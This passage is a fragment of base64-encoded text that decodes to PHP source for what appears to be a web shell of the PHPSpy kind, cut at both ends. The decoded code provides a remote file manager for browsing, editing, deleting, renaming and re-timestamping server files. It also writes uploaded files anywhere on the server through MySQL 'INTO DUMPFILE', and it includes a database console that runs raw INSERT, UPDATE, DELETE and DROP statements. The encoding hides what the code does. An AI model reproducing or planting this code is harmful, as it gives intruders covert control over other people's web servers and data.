7CgkJCQkkZmlsZWRiWydzZXJ2ZXJfbGluayddPSRmaWxlcGF0aDsKCQkJCSRmaWxlZGJbJ2NsaWVudF9saW5rJ109dWUoJGZpbGVwYXRoKTsKCQkJCSRmaWxlZGF0YVtdPSRmaWxlZGI7CgkJCX0KCQl9Ly8gd2hpbGUKCQl1bnNldCgkZGlyZGIpOwoJCXVuc2V0KCRmaWxlZGIpOwoJCUBjbG9zZWRpcigkZGlycyk7Cgl9CglAc29ydCgkZGlyZGF0YSk7CglAc29ydCgkZmlsZWRhdGEpOwoJJGRpcl9pID0gJzAnOwoJZm9yZWFjaCgkZGlyZGF0YSBhcyAka2V5ID0+ICRkaXJkYil7CgkJaWYoJGRpcmRiWydmaWxlbmFtZSddIT0nLi4nICYmICRkaXJkYlsnZmlsZW5hbWUnXSE9Jy4nKSB7CgkJCSR0aGlzYmcgPSBiZygpOwoJCQlwKCc8dHIgY2xhc3M9ImZvdXQiIG9ubW91c2VvdmVyPSJ0aGlzLmNsYXNzTmFtZT1cJ2ZvY3VzXCc7IiBvbm1vdXNlb3V0PSJ0aGlzLmNsYXNzTmFtZT1cJ2ZvdXRcJzsiPicpOwoJCQlwKCc8dGQgd2lkdGg9IjIlIiBub3dyYXA+PGZvbnQgZmFjZT0id2luZ2RpbmdzIiBzaXplPSIzIj4wPC9mb250PjwvdGQ+Jyk7CgkJCXAoJzx0ZD48YSBocmVmPSJqYXZhc2NyaXB0OmdvZGlyKFwnJy4kZGlyZGJbJ3NlcnZlcl9saW5rJ10uJ1wnKTsiPicuJGRpcmRiWydmaWxlbmFtZSddLic8L2E+PC90ZD4nKTsKCQkJcCgnPHRkIG5vd3JhcD4nLiRkaXJkYlsnbXRpbWUnXS4nPC90ZD4nKTsKCQkJcCgnPHRkIG5vd3JhcD4tLTwvdGQ+Jyk7CgkJCXAoJzx0ZCBub3dyYXA+Jyk7CgkJCXAoJzxhIGhyZWY9ImphdmFzY3JpcHQ6ZmlsZXBlcm0oXCcnLiRkaXJkYlsnc2VydmVyX2xpbmsnXS4nXCcpOyI+Jy4kZGlyZGJbJ2RpcmNobW9kJ10uJzwvYT4gLyAnKTsKCQkJcCgnPGEgaHJlZj0iamF2YXNjcmlwdDpmaWxlcGVybShcJycuJGRpcmRiWydzZXJ2ZXJfbGluayddLidcJyk7Ij4nLiRkaXJkYlsnZGlycGVybSddLic8L2E+Jy4kZGlyZGJbJ2ZpbGVvd25lciddLic8L3RkPicpOwoJCQlwKCc8dGQgbm93cmFwPjxhIGhyZWY9ImphdmFzY3JpcHQ6ZG9maWxlKFwnZGVsZGlyXCcsXCcnLiRkaXJkYlsnc2VydmVyX2xpbmsnXS4nXCcsXCdBcmUgeW91IHN1cmUgd2lsbCBkZWxldGUgJy4kZGlyZGJbJ2ZpbGVuYW1lJ10uJz8gXFxuXFxuSWYgbm9uLWVtcHR5IGRpcmVjdG9yeSwgd2lsbCBiZSBkZWxldGUgYWxsIHRoZSBmaWxlcy5cJykiPkRlbDwvYT4gfCA8YSBocmVmPSJqYXZhc2NyaXB0OnJlbmFtZShcJycuJGRpcmRiWydzZXJ2ZXJfbGluayddLidcJyk7Ij5SZW5hbWU8L2E+PC90ZD4nKTsKCQkJcCgnPC90cj4nKTsKCQkJJGRpcl9pKys7CgkJfSBlbHNlIHsKCQkJaWYoJGRpcmRiWydmaWxlbmFtZSddPT0nLi4nKSB7CgkJCQlwKCc8dHIgY2xhc3M9Zm91dD4nKTsKCQkJCXAoJzx0ZCBhbGlnbj0iY2VudGVyIj48Zm9udCBmYWNlPSJXaW5nZGluZ3MgMyIgc2l6ZT00Pj08L2ZvbnQ+PC90ZD48dGQgbm93cmFwIGNvbHNwYW49IjUiPjxhIGhyZWY9ImphdmFzY3JpcHQ6Z29kaXIoXCcnLmdldFVwUGF0aCgkbm93cGF0aCkuJ1wnKTsiPlBhcmVudCBEaXJlY3Rvcnk8L2E+PC90ZD4nKTsKCQkJCXAoJzwvdHI+Jyk7CgkJCX0KCQl9Cgl9CgoJcCgnPHRyIGJnY29sb3I9ImdyZWVuIiBzdGx5ZT0iYm9yZGVyLXRvcDoxcHggc29saWQgZ3JheTtib3JkZXItYm90dG9tOjFweCBzb2xpZCBncmF5OyI+PHRkIGNvbHNwYW49IjYiIGhlaWdodD0iNSI+PC90ZD48L3RyPicpOwoJcCgnPGZvcm0gaWQ9ImZpbGVsaXN0IiBuYW1lPSJmaWxlbGlzdCIgYWN0aW9uPSInLiRzZWxmLiciIG1ldGhvZD0icG9zdCI+Jyk7CgltYWtlaGlkZSgnYWN0aW9uJywnZmlsZScpOwoJbWFrZWhpZGUoJ3RoZWZpbGUnKTsKCW1ha2VoaWRlKCdkb2luZycpOwoJbWFrZWhpZGUoJ2RpcicsJG5vd3BhdGgpOwoJJGZpbGVfaSA9ICcwJzsKCWZvcmVhY2goJGZpbGVkYXRhIGFzICRrZXkgPT4gJGZpbGVkYil7CgkJaWYoJGZpbGVkYlsnZmlsZW5hbWUnXSE9Jy4uJyAmJiAkZmlsZWRiWydmaWxlbmFtZSddIT0nLicpIHsKCQkJJGZpbGV1cmwgPSBzdHJfcmVwbGFjZShTQV9ST09ULCcnLCRmaWxlZGJbJ3NlcnZlcl9saW5rJ10pOwoJCQkkdGhpc2JnID0gYmcoKTsKCQkJcCgnPHRyIGNsYXNzPSJmb3V0IiBvbm1vdXNlb3Zlcj0idGhpcy5jbGFzc05hbWU9XCdmb2N1c1wnOyIgb25tb3VzZW91dD0idGhpcy5jbGFzc05hbWU9XCdmb3V0XCc7Ij4nKTsKCQkJcCgnPHRkIHdpZHRoPSIyJSIgbm93cmFwPjxpbnB1dCB0eXBlPSJjaGVja2JveCIgdmFsdWU9IjEiIG5hbWU9ImRsWycuJGZpbGVkYlsnc2VydmVyX2xpbmsnXS4nXSI+PC90ZD4nKTsKCQkJcCgnPHRkPjxhIGhyZWY9IicuJGZpbGV1cmwuJyIgdGFyZ2V0PSJfYmxhbmsiPicuJGZpbGVkYlsnZmlsZW5hbWUnXS4nPC9hPjwvdGQ+Jyk7CgkJCXAoJzx0ZCBub3dyYXA+Jy4kZmlsZWRiWydtdGltZSddLic8L3RkPicpOwoJCQlwKCc8dGQgbm93cmFwPicuJGZpbGVkYlsnc2l6ZSddLic8L3RkPicpOwoJCQlwKCc8dGQgbm93cmFwPicpOwoJCQlwKCc8YSBocmVmPSJqYXZhc2NyaXB0OmZpbGVwZXJtKFwnJy4kZmlsZWRiWydzZXJ2ZXJfbGluayddLidcJyk7Ij4nLiRmaWxlZGJbJ2ZpbGVjaG1vZCddLic8L2E+IC8gJyk7CgkJCXAoJzxhIGhyZWY9ImphdmFzY3JpcHQ6ZmlsZXBlcm0oXCcnLiRmaWxlZGJbJ3NlcnZlcl9saW5rJ10uJ1wnKTsiPicuJGZpbGVkYlsnZmlsZXBlcm0nXS4nPC9hPicuJGZpbGVkYlsnZmlsZW93bmVyJ10uJzwvdGQ+Jyk7CgkJCXAoJzx0ZCBub3dyYXA+Jyk7CgkJCXAoJzxhIGhyZWY9ImphdmFzY3JpcHQ6ZG9maWxlKFwnZG93bmZpbGVcJyxcJycuJGZpbGVkYlsnc2VydmVyX2xpbmsnXS4nXCcpOyI+RG93bjwvYT4gfCAnKTsKCQkJcCgnPGEgaHJlZj0iamF2YXNjcmlwdDpjb3B5ZmlsZShcJycuJGZpbGVkYlsnc2VydmVyX2xpbmsnXS4nXCcpOyI+Q29weTwvYT4gfCAnKTsKCQkJcCgnPGEgaHJlZj0iamF2YXNjcmlwdDpvcGZpbGUoXCdlZGl0ZmlsZVwnLFwnJy4kZmlsZWRiWydzZXJ2ZXJfbGluayddLidcJyxcJycuJGZpbGVkYlsnZGlybGluayddLidcJyk7Ij5FZGl0PC9hPiB8ICcpOwoJCQlwKCc8YSBocmVmPSJqYXZhc2NyaXB0OnJlbmFtZShcJycuJGZpbGVkYlsnc2VydmVyX2xpbmsnXS4nXCcpOyI+UmVuYW1lPC9hPiB8ICcpOwoJCQlwKCc8YSBocmVmPSJqYXZhc2NyaXB0Om9wZmlsZShcJ25ld3RpbWVcJyxcJycuJGZpbGVkYlsnc2VydmVyX2xpbmsnXS4nXCcsXCcnLiRmaWxlZGJbJ2RpcmxpbmsnXS4nXCcpOyI+VGltZTwvYT4nKTsKCQkJcCgnPC90ZD48L3RyPicpOwoJCQkkZmlsZV9pKys7CgkJfQoJfQoJcCgnPHRyIGNsYXNzPSJmb3V0MSI+PHRkIGFsaWduPSJjZW50ZXIiPjxpbnB1dCBuYW1lPSJjaGthbGwiIHZhbHVlPSJvbiIgdHlwZT0iY2hlY2tib3giIG9uY2xpY2s9IkNoZWNrQWxsKHRoaXMuZm9ybSkiIC8+PC90ZD48dGQ+PGEgaHJlZj0iamF2YXNjcmlwdDpkb2ZpbGUoXCdkb3ducmFyXCcpOyI+UGFja2luZyBkb3dubG9hZCBzZWxlY3RlZDwvYT4gLSA8YSBocmVmPSJqYXZhc2NyaXB0OmRvZmlsZShcJ2RlbGZpbGVzXCcpOyI+RGVsZXRlIHNlbGVjdGVkPC9hPjwvdGQ+PHRkIGNvbHNwYW49IjQiIGFsaWduPSJyaWdodCI+Jy4kZGlyX2kuJyBkaXJlY3RvcmllcyAvICcuJGZpbGVfaS4nIGZpbGVzPC90ZD48L3RyPicpOwoJcCgnPC9mb3JtPjwvdGFibGU+Jyk7Cn0vLyBlbmQgZGlyCgplbHNlaWYgKCRhY3Rpb24gPT0gJ3NxbGZpbGUnKSB7CglpZigkZG9pbmc9PSJteXNxbHVwbG9hZCIpewoJCSRmaWxlID0gJF9GSUxFU1sndXBsb2FkZmlsZSddOwoJCSRmaWxlbmFtZSA9ICRmaWxlWyd0bXBfbmFtZSddOwoJCWlmIChmaWxlX2V4aXN0cygkc2F2ZXBhdGgpKSB7CgkJCW0oJ1RoZSBnb2FsIGZpbGUgaGFzIGFscmVhZHkgZXhpc3RlZCcpOwoJCX0gZWxzZSB7CgkJCWlmKCEkZmlsZW5hbWUpIHsKCQkJCW0oJ1BsZWFzZSBjaG9vc2UgYSBmaWxlJyk7CgkJCX0gZWxzZSB7CgkJCQkkZnA9QGZvcGVuKCRmaWxlbmFtZSwncicpOwoJCQkJJGNvbnRlbnRzPUBmcmVhZCgkZnAsIGZpbGVzaXplKCRmaWxlbmFtZSkpOwoJCQkJQGZjbG9zZSgkZnApOwoJCQkJJGNvbnRlbnRzID0gYmluMmhleCgkY29udGVudHMpOwoJCQkJaWYoISR1cG5hbWUpICR1cG5hbWUgPSAkZmlsZVsnbmFtZSddOwoJCQkJZGJjb25uKCRkYmhvc3QsJGRidXNlciwkZGJwYXNzLCRkYm5hbWUsJGNoYXJzZXQsJGRicG9ydCk7CgkJCQkkcmVzdWx0ID0gcSgiU0VMRUNUIDB4eyRjb250ZW50c30gRlJPTSBteXNxbC51c2VyIElOVE8gRFVNUEZJTEUgJyRzYXZlcGF0aCc7Iik7CgkJCQltKCRyZXN1bHQgPyAnVXBsb2FkIHN1Y2Nlc3MnIDogJ1VwbG9hZCBoYXMgZmFpbGVkOiAnLm15c3FsX2Vycm9yKCkpOwoJCQl9CgkJfQoJfQo/Pgo8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+CmZ1bmN0aW9uIG15c3FsZmlsZShkb2luZyl7CglpZighZG9pbmcpIHJldHVybjsKCSQoJ2RvaW5nJykudmFsdWU9ZG9pbmc7CgkkKCdteXNxbGZpbGUnKS5kYmhvc3QudmFsdWU9JCgnZGJpbmZvJykuZGJob3N0LnZhbHVlOwoJJCgnbXlzcWxmaWxlJykuZGJwb3J0LnZhbHVlPSQoJ2RiaW5mbycpLmRicG9ydC52YWx1ZTsKCSQoJ215c3FsZmlsZScpLmRidXNlci52YWx1ZT0kKCdkYmluZm8nKS5kYnVzZXIudmFsdWU7CgkkKCdteXNxbGZpbGUnKS5kYnBhc3MudmFsdWU9JCgnZGJpbmZvJykuZGJwYXNzLnZhbHVlOwoJJCgnbXlzcWxmaWxlJykuZGJuYW1lLnZhbHVlPSQoJ2RiaW5mbycpLmRibmFtZS52YWx1ZTsKCSQoJ215c3FsZmlsZScpLmNoYXJzZXQudmFsdWU9JCgnZGJpbmZvJykuY2hhcnNldC52YWx1ZTsKCSQoJ215c3FsZmlsZScpLnN1Ym1pdCgpOwp9Cjwvc2NyaXB0Pgo8P3BocAoJISRkYmhvc3QgJiYgJGRiaG9zdCA9ICdsb2NhbGhvc3QnOwoJISRkYnVzZXIgJiYgJGRidXNlciA9ICdyb290JzsKCSEkZGJwb3J0ICYmICRkYnBvcnQgPSAnMzMwNic7CgkkY2hhcnNldHMgPSBhcnJheSgnJz0+J0RlZmF1bHQnLCdnYmsnPT4nR0JLJywgJ2JpZzUnPT4nQmlnNScsICd1dGY4Jz0+J1VURi04JywgJ2xhdGluMSc9PidMYXRpbjEnKTsKCWZvcm1oZWFkKGFycmF5KCd0aXRsZSc9PidNWVNRTCBJbmZvcm1hdGlvbicsJ25hbWUnPT4nZGJpbmZvJykpOwoJbWFrZWhpZGUoJ2FjdGlvbicsJ3NxbGZpbGUnKTsKCXAoJzxwPicpOwoJcCgnREJIb3N0OicpOwoJbWFrZWlucHV0KGFycmF5KCduYW1lJz0+J2RiaG9zdCcsJ3NpemUnPT4yMCwndmFsdWUnPT4kZGJob3N0KSk7CglwKCc6Jyk7CgltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4nZGJwb3J0Jywnc2l6ZSc9PjQsJ3ZhbHVlJz0+JGRicG9ydCkpOwoJcCgnREJVc2VyOicpOwoJbWFrZWlucHV0KGFycmF5KCduYW1lJz0+J2RidXNlcicsJ3NpemUnPT4xNSwndmFsdWUnPT4kZGJ1c2VyKSk7CglwKCdEQlBhc3M6Jyk7CgltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4nZGJwYXNzJywnc2l6ZSc9PjE1LCd2YWx1ZSc9PiRkYnBhc3MpKTsKCXAoJ0RCTmFtZTonKTsKCW1ha2VpbnB1dChhcnJheSgnbmFtZSc9PidkYm5hbWUnLCdzaXplJz0+MTUsJ3ZhbHVlJz0+JGRibmFtZSkpOwoJcCgnREJDaGFyc2V0OicpOwoJbWFrZXNlbGVjdChhcnJheSgnbmFtZSc9PidjaGFyc2V0Jywnb3B0aW9uJz0+JGNoYXJzZXRzLCdzZWxlY3RlZCc9PiRjaGFyc2V0KSk7CglwKCc8L3A+Jyk7Cglmb3JtZm9vdCgpOwoJcCgnPGZvcm0gYWN0aW9uPSInLiRzZWxmLiciIG1ldGhvZD0iUE9TVCIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgbmFtZT0ibXlzcWxmaWxlIiBpZD0ibXlzcWxmaWxlIj4nKTsKCXAoJzxoMj5VcGxvYWQgZmlsZTwvaDI+Jyk7CglwKCc8cD48Yj5UaGlzIG9wZXJhdGlvbiB0aGUgREIgdXNlciBtdXN0IGhhcyBGSUxFIHByaXZpbGVnZTwvYj48L3A+Jyk7CglwKCc8cD5TYXZlIHBhdGgoZnVsbHBhdGgpOiA8aW5wdXQgY2xhc3M9ImlucHV0IiBuYW1lPSJzYXZlcGF0aCIgc2l6ZT0iNDUiIHR5cGU9InRleHQiIC8+IENob29zZSBhIGZpbGU6IDxpbnB1dCBjbGFzcz0iaW5wdXQiIG5hbWU9InVwbG9hZGZpbGUiIHR5cGU9ImZpbGUiIC8+IDxhIGhyZWY9ImphdmFzY3JpcHQ6bXlzcWxmaWxlKFwnbXlzcWx1cGxvYWRcJyk7Ij5VcGxvYWQ8L2E+PC9wPicpOwoJcCgnPGgyPkRvd25sb2FkIGZpbGU8L2gyPicpOwoJcCgnPHA+RmlsZTogPGlucHV0IGNsYXNzPSJpbnB1dCIgbmFtZT0ibXlzcWxkbGZpbGUiIHNpemU9IjExNSIgdHlwZT0idGV4dCIgLz4gPGEgaHJlZj0iamF2YXNjcmlwdDpteXNxbGZpbGUoXCdteXNxbGRvd25cJyk7Ij5Eb3dubG9hZDwvYT48L3A+Jyk7CgltYWtlaGlkZSgnZGJob3N0Jyk7CgltYWtlaGlkZSgnZGJwb3J0Jyk7CgltYWtlaGlkZSgnZGJ1c2VyJyk7CgltYWtlaGlkZSgnZGJwYXNzJyk7CgltYWtlaGlkZSgnZGJuYW1lJyk7CgltYWtlaGlkZSgnY2hhcnNldCcpOwoJbWFrZWhpZGUoJ2RvaW5nJyk7CgltYWtlaGlkZSgnYWN0aW9uJywnc3FsZmlsZScpOwoJcCgnPC9mb3JtPicpOwp9CgplbHNlaWYgKCRhY3Rpb24gPT0gJ3NxbGFkbWluJykgewoJISRkYmhvc3QgJiYgJGRiaG9zdCA9ICdsb2NhbGhvc3QnOwoJISRkYnVzZXIgJiYgJGRidXNlciA9ICdyb290JzsKCSEkZGJwb3J0ICYmICRkYnBvcnQgPSAnMzMwNic7CgkkZGJmb3JtID0gJzxpbnB1dCB0eXBlPSJoaWRkZW4iIGlkPSJjb25uZWN0IiBuYW1lPSJjb25uZWN0IiB2YWx1ZT0iMSIgLz4nOwoJaWYoaXNzZXQoJGRiaG9zdCkpewoJCSRkYmZvcm0gLj0gIjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgaWQ9XCJkYmhvc3RcIiBuYW1lPVwiZGJob3N0XCIgdmFsdWU9XCIkZGJob3N0XCIgLz5cbiI7Cgl9CglpZihpc3NldCgkZGJ1c2VyKSkgewoJCSRkYmZvcm0gLj0gIjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgaWQ9XCJkYnVzZXJcIiBuYW1lPVwiZGJ1c2VyXCIgdmFsdWU9XCIkZGJ1c2VyXCIgLz5cbiI7Cgl9CglpZihpc3NldCgkZGJwYXNzKSkgewoJCSRkYmZvcm0gLj0gIjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgaWQ9XCJkYnBhc3NcIiBuYW1lPVwiZGJwYXNzXCIgdmFsdWU9XCIkZGJwYXNzXCIgLz5cbiI7Cgl9CglpZihpc3NldCgkZGJwb3J0KSkgewoJCSRkYmZvcm0gLj0gIjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgaWQ9XCJkYnBvcnRcIiBuYW1lPVwiZGJwb3J0XCIgdmFsdWU9XCIkZGJwb3J0XCIgLz5cbiI7Cgl9CglpZihpc3NldCgkZGJuYW1lKSkgewoJCSRkYmZvcm0gLj0gIjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgaWQ9XCJkYm5hbWVcIiBuYW1lPVwiZGJuYW1lXCIgdmFsdWU9XCIkZGJuYW1lXCIgLz5cbiI7Cgl9CglpZihpc3NldCgkY2hhcnNldCkpIHsKCQkkZGJmb3JtIC49ICI8aW5wdXQgdHlwZT1cImhpZGRlblwiIGlkPVwiY2hhcnNldFwiIG5hbWU9XCJjaGFyc2V0XCIgdmFsdWU9XCIkY2hhcnNldFwiIC8+XG4iOwoJfQoKCWlmICgkZG9pbmcgPT0gJ2JhY2t1cG15c3FsJyAmJiAkc2F2ZWFzZmlsZSkgewoJCWlmICghJHRhYmxlKSB7CgkJCW0oJ1BsZWFzZSBjaG9vc2UgdGhlIHRhYmxlJyk7CgkJfSBlbHNlIHsKCQkJZGJjb25uKCRkYmhvc3QsJGRidXNlciwkZGJwYXNzLCRkYm5hbWUsJGNoYXJzZXQsJGRicG9ydCk7CgkJCSR0YWJsZSA9IGFycmF5X2ZsaXAoJHRhYmxlKTsKCQkJJGZwID0gQGZvcGVuKCRwYXRoLCd3Jyk7CgkJCWlmICgkZnApIHsKCQkJCSRyZXN1bHQgPSBxKCdTSE9XIHRhYmxlcycpOwoJCQkJaWYgKCEkcmVzdWx0KSBwKCc8aDI+Jy5teXNxbF9lcnJvcigpLic8L2gyPicpOwoJCQkJJG15c3FsZGF0YSA9ICcnOwoJCQkJd2hpbGUgKCRjdXJyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0KSkgewoJCQkJCWlmIChpc3NldCgkdGFibGVbJGN1cnJvd1swXV0pKSB7CgkJCQkJCXNxbGR1bXB0YWJsZSgkY3Vycm93WzBdLCAkZnApOwoJCQkJCX0KCQkJCX0KCQkJCWZjbG9zZSgkZnApOwoJCQkJJGZpbGV1cmwgPSBzdHJfcmVwbGFjZShTQV9ST09ULCcnLCRwYXRoKTsKCQkJCW0oJ0RhdGFiYXNlIGhhcyBzdWNjZXNzIGJhY2t1cCB0byA8YSBocmVmPSInLiRmaWxldXJsLiciIHRhcmdldD0iX2JsYW5rIj4nLiRwYXRoLic8L2E+Jyk7CgkJCQlteXNxbF9jbG9zZSgpOwoJCQl9IGVsc2UgewoJCQkJbSgnQmFja3VwIGZhaWxlZCcpOwoJCQl9CgkJfQoJfQoJaWYgKCRpbnNlcnQgJiYgJGluc2VydHNxbCkgewoJCSRrZXlzdHIgPSAkdmFsc3RyID0gJHRtcCA9ICcnOwoJCWZvcmVhY2goJGluc2VydHNxbCBhcyAka2V5ID0+ICR2YWwpIHsKCQkJaWYgKCR2YWwpIHsKCQkJCSRrZXlzdHIgLj0gJHRtcC4ka2V5OwoJCQkJJHZhbHN0ciAuPSAkdG1wLiInIi5hZGRzbGFzaGVzKCR2YWwpLiInIjsKCQkJCSR0bXAgPSAnLCc7CgkJCX0KCQl9CgkJaWYgKCRrZXlzdHIgJiYgJHZhbHN0cikgewoJCQlkYmNvbm4oJGRiaG9zdCwkZGJ1c2VyLCRkYnBhc3MsJGRibmFtZSwkY2hhcnNldCwkZGJwb3J0KTsKCQkJbShxKCJJTlNFUlQgSU5UTyAkdGFibGVuYW1lICgka2V5c3RyKSBWQUxVRVMgKCR2YWxzdHIpIikgPyAnSW5zZXJ0IG5ldyByZWNvcmQgb2Ygc3VjY2VzcycgOiBteXNxbF9lcnJvcigpKTsKCQl9Cgl9CglpZiAoJHVwZGF0ZSAmJiAkaW5zZXJ0c3FsICYmICRiYXNlNjQpIHsKCQkkdmFsc3RyID0gJHRtcCA9ICcnOwoJCWZvcmVhY2goJGluc2VydHNxbCBhcyAka2V5ID0+ICR2YWwpIHsKCQkJJHZhbHN0ciAuPSAkdG1wLiRrZXkuIj0nIi5hZGRzbGFzaGVzKCR2YWwpLiInIjsKCQkJJHRtcCA9ICcsJzsKCQl9CgkJaWYgKCR2YWxzdHIpIHsKCQkJJHdoZXJlID0gYmFzZTY0X2RlY29kZSgkYmFzZTY0KTsKCQkJZGJjb25uKCRkYmhvc3QsJGRidXNlciwkZGJwYXNzLCRkYm5hbWUsJGNoYXJzZXQsJGRicG9ydCk7CgkJCW0ocSgiVVBEQVRFICR0YWJsZW5hbWUgU0VUICR2YWxzdHIgV0hFUkUgJHdoZXJlIExJTUlUIDEiKSA/ICdSZWNvcmQgdXBkYXRpbmcnIDogbXlzcWxfZXJyb3IoKSk7CgkJfQoJfQoJaWYgKCRkb2luZyA9PSAnZGVsJyAmJiAkYmFzZTY0KSB7CgkJJHdoZXJlID0gYmFzZTY0X2RlY29kZSgkYmFzZTY0KTsKCQkkZGVsZXRlX3NxbCA9ICJERUxFVEUgRlJPTSAkdGFibGVuYW1lIFdIRVJFICR3aGVyZSI7CgkJZGJjb25uKCRkYmhvc3QsJGRidXNlciwkZGJwYXNzLCRkYm5hbWUsJGNoYXJzZXQsJGRicG9ydCk7CgkJbShxKCJERUxFVEUgRlJPTSAkdGFibGVuYW1lIFdIRVJFICR3aGVyZSIpID8gJ0RlbGV0aW9uIHJlY29yZCBvZiBzdWNjZXNzJyA6IG15c3FsX2Vycm9yKCkpOwoJfQoKCWlmICgkdGFibGVuYW1lICYmICRkb2luZyA9PSAnZHJvcCcpIHsKCQlkYmNvbm4oJGRiaG9zdCwkZGJ1c2VyLCRkYnBhc3MsJGRibmFtZSwkY2hhcnNldCwkZGJwb3J0KTsKCQlpZiAocSgiRFJPUCBUQUJMRSAkdGFibGVuYW1lIikpIHsKCQkJbSgnRHJvcCB0YWJsZSBvZiBzdWNjZXNzJyk7CgkJCSR0YWJsZW5hbWUgPSAnJzsKCQl9IGVsc2UgewoJCQltKG15c3FsX2Vycm9yKCkpOwoJCX0KCX0KCgkkY2hhcnNldHMgPSBhcnJheSgnJz0+J0RlZmF1bHQnLCdnYmsnPT4nR0JLJywgJ2JpZzUnPT4nQmlnNScsICd1dGY4Jz0+J1VURi04JywgJ2xhdGluMSc9PidMYXRpbjEnKTsKCglmb3JtaGVhZChhcnJheSgndGl0bGUnPT4nTVlTUUwgTWFuYWdlcicpKTsKCW1ha2VoaWRlKCdhY3Rpb24nLCdzcWxhZG1pbicpOwoJcCgnPHA+Jyk7CglwKCdEQkhvc3Q6Jyk7CgltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4nZGJob3N0Jywnc2l6ZSc9PjIwLCd2YWx1ZSc9PiRkYmhvc3QpKTsKCXAoJzonKTsKCW1ha2VpbnB1dChhcnJheSgnbmFtZSc9PidkYnBvcnQnLCdzaXplJz0+NCwndmFsdWUnPT4kZGJwb3J0KSk7CglwKCdEQlVzZXI6Jyk7CgltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4nZGJ1c2VyJywnc2l6ZSc9PjE1LCd2YWx1ZSc9PiRkYnVzZXIpKTsKCXAoJ0RCUGFzczonKTsKCW1ha2VpbnB1dChhcnJheSgnbmFtZSc9PidkYnBhc3MnLCdzaXplJz0+MTUsJ3ZhbHVlJz0+JGRicGFzcykpOwoJcCgnREJDaGFyc2V0OicpOwoJbWFrZXNlbGVjdChhcnJheSgnbmFtZSc9PidjaGFyc2V0Jywnb3B0aW9uJz0+JGNoYXJzZXRzLCdzZWxlY3RlZCc9PiRjaGFyc2V0KSk7CgltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4nY29ubmVjdCcsJ3ZhbHVlJz0+J0Nvbm5lY3QnLCd0eXBlJz0+J3N1Ym1pdCcsJ2NsYXNzJz0+J2J0JykpOwoJcCgnPC9wPicpOwoJZm9ybWZvb3QoKTsKPz4KPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPgpmdW5jdGlvbiBlZGl0cmVjb3JkKGFjdGlvbiwgYmFzZTY0LCB0YWJsZW5hbWUpewoJaWYgKGFjdGlvbiA9PSAnZGVsJykgewoJCWlmICghY29uZmlybSgnSXMgb3IgaXNuXCd0IGRlbGV0aW9uIHJlY29yZD8nKSkgcmV0dXJuOwoJfQoJJCgncmVjb3JkbGlzdCcpLmRvaW5nLnZhbHVlPWFjdGlvbjsKCSQoJ3JlY29yZGxpc3QnKS5iYXNlNjQudmFsdWU9YmFzZTY0OwoJJCgncmVjb3JkbGlzdCcpLnRhYmxlbmFtZS52YWx1ZT10YWJsZW5hbWU7CgkkKCdyZWNvcmRsaXN0Jykuc3VibWl0KCk7Cn0KZnVuY3Rpb24gbW9kZGJuYW1lKGRibmFtZSkgewoJaWYoIWRibmFtZSkgcmV0dXJuOwoJJCgnc2V0ZGJuYW1lJykuZGJuYW1lLnZhbHVlPWRibmFtZTsKCSQoJ3NldGRibmFtZScpLnN1Ym1pdCgpOwp9CmZ1bmN0aW9uIHNldHRhYmxlKHRhYmxlbmFtZSxkb2luZyxwYWdlKSB7CglpZighdGFibGVuYW1lKSByZXR1cm47CglpZiAoZG9pbmcpIHsKCQkkKCdzZXR0YWJsZScpLmRvaW5nLnZhbHVlPWRvaW5nOwoJfQoJaWYgKHBhZ2UpIHsKCQkkKCdzZXR0YWJsZScpLnBhZ2UudmFsdWU9cGFnZTsKCX0KCSQoJ3NldHRhYmxlJykudGFibGVuYW1lLnZhbHVlPXRhYmxlbmFtZTsKCSQoJ3NldHRhYmxlJykuc3VibWl0KCk7Cn0KPC9zY3JpcHQ+Cjw/cGhwCgkvLyBTUUwKCWZvcm1oZWFkKGFycmF5KCduYW1lJz0+J3JlY29yZGxpc3QnKSk7CgltYWtlaGlkZSgnZG9pbmcnKTsKCW1ha2VoaWRlKCdhY3Rpb24nLCdzcWxhZG1pbicpOwoJbWFrZWhpZGUoJ2Jhc2U2NCcpOwoJbWFrZWhpZGUoJ3RhYmxlbmFtZScpOwoJcCgkZGJmb3JtKTsKCWZvcm1mb290KCk7CgoJLy8gRGF0YQoJZm9ybWhlYWQoYXJyYXkoJ25hbWUnPT4nc2V0ZGJuYW1lJykpOwoJbWFrZWhpZGUoJ2FjdGlvbicsJ3NxbGFkbWluJyk7CglwKCRkYmZvcm0pOwoJaWYgKCEkZGJuYW1lKSB7CgkJbWFrZWhpZGUoJ2RibmFtZScpOwoJfQoJZm9ybWZvb3QoKTsKCgoJZm9ybWhlYWQoYXJyYXkoJ25hbWUnPT4nc2V0dGFibGUnKSk7CgltYWtlaGlkZSgnYWN0aW9uJywnc3FsYWRtaW4nKTsKCXAoJGRiZm9ybSk7CgltYWtlaGlkZSgndGFibGVuYW1lJyk7CgltYWtlaGlkZSgncGFnZScsJHBhZ2UpOwoJbWFrZWhpZGUoJ2RvaW5nJyk7Cglmb3JtZm9vdCgpOwoKCSRjYWNoZXRhYmxlcyA9IGFycmF5KCk7CgkkcGFnZW51bSA9IDMwOwoJJHBhZ2UgPSBpbnR2YWwoJHBhZ2UpOwoJaWYoJHBhZ2UpIHsKCQkkc3RhcnRfbGltaXQgPSAoJHBhZ2UgLSAxKSAqICRwYWdlbnVtOwoJfSBlbHNlIHsKCQkkc3RhcnRfbGltaXQgPSAwOwoJCSRwYWdlID0gMTsKCX0KCWlmIChpc3NldCgkZGJob3N0KSAmJiBpc3NldCgkZGJ1c2VyKSAmJiBpc3NldCgkZGJwYXNzKSAmJiBpc3NldCgkY29ubmVjdCkpIHsKCQlkYmNvbm4oJGRiaG9zdCwgJGRidXNlciwgJGRicGFzcywgJGRibmFtZSwgJGNoYXJzZXQsICRkYnBvcnQpOwoJCS8vIG